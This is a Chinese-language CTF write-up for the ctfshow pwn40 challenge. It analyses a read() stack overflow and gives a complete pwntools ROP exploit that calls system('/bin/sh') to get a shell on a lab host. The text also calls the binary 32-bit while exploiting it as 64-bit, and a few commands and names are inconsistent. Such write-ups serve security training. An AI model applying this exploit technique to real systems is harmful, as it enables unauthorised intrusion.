ctfshow pwn40
目录
1. 分析程序
2. 漏洞编写
3. 漏洞验证
1. 分析程序
首先检查程序相关保护,发现程序为32位且只开启了一个NX保护
checksec pwn
使用IDA进行逆向分析代码,查看漏洞触发点:
在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()
发现存在一个read函数,此函数写法存在漏洞,buf限制的是0x14个字节,但是可以传入0x32个字节并造成栈溢出。
- 当程序执行到
read(0, buf, 0x32u)
时:
- 程序会阻塞等待用户输入
- 用户通过键盘(或输入重定向)输入数据
- 输入的数据会被原样复制到
buf
指向的内存中
同时我们注意到,程序存在一个后门函数hint(),但是hint函数不是system("/bin/sh")了,而是 puts("/bin/sh")和return system("echo 'You find me?'"),因此我们需要通过组合,重新将其拼接成system("/bin/sh")。
首先我们获取到system函数地址,以及/bin/sh所在内存位置,这里通过工具objdump以及ROPgadget进行查找,使用objdump查找system函数所在具体位置,输入objdump -d -j .plt pwn,可以看到地址为0x400520。
使用ROPgadget查找/bin/sh所在位置,这里发现了两个,随意一个都可以使用:
ROPgadget --binary pwn --string /bin/sh这里我们使用0x0000000000400808
64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈
所以,这里我们还需要使用工具找到找到一个pop_rdi的地址,输入:ROPgadget --binary pwn --only "pop|ret" | rdi,这里我们使用地址0x00000000004007e3
还需要一个返回地址ret做栈对齐:ROPgadget --binary pwn --only "ret",这里我们使用地址0x00000000004004fe
计算偏移地址,可以直接在IDA上看到相关偏移地址,到RBP的距离为0xA。
2. 漏洞编写
首先确定基本信息
from pwn import *
context.log_level = 'debug'
io = remote("192.168.79.135",10001)
接着构造payload信息,需要计算偏移量,构造ret_rdi、bin_sh、ret、system的函数的地址
ret_edi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_edi) + p64(bin_sh) + p64(ret) + p64(system)
最终我们的目的就是通过栈溢出修改返回地址,以控制程序执行流程。它通过调用 pop_rdi 指令将 bin_sh 的地址加载到寄存器rdi中,然后通过 ret 指令进行间接跳转,最终调用 system 函数,以执行 system(“/bin/sh”)进而获得一个我们想要的shell。
完整的payload如下:
from pwn import *
context(arch="amd64",os="linux")
io = remote("192.168.79.135",10001)ret_rdi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_rdi) + p64(bin_sh) + p64(ret) + p64(system)io.sendline(payload)
io.interactive()
3. 漏洞验证
服务端启动相关程序,挂载至本地的10001端口上:
sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn
攻击端运行编写好的程序,可以看到获取了服务端的权限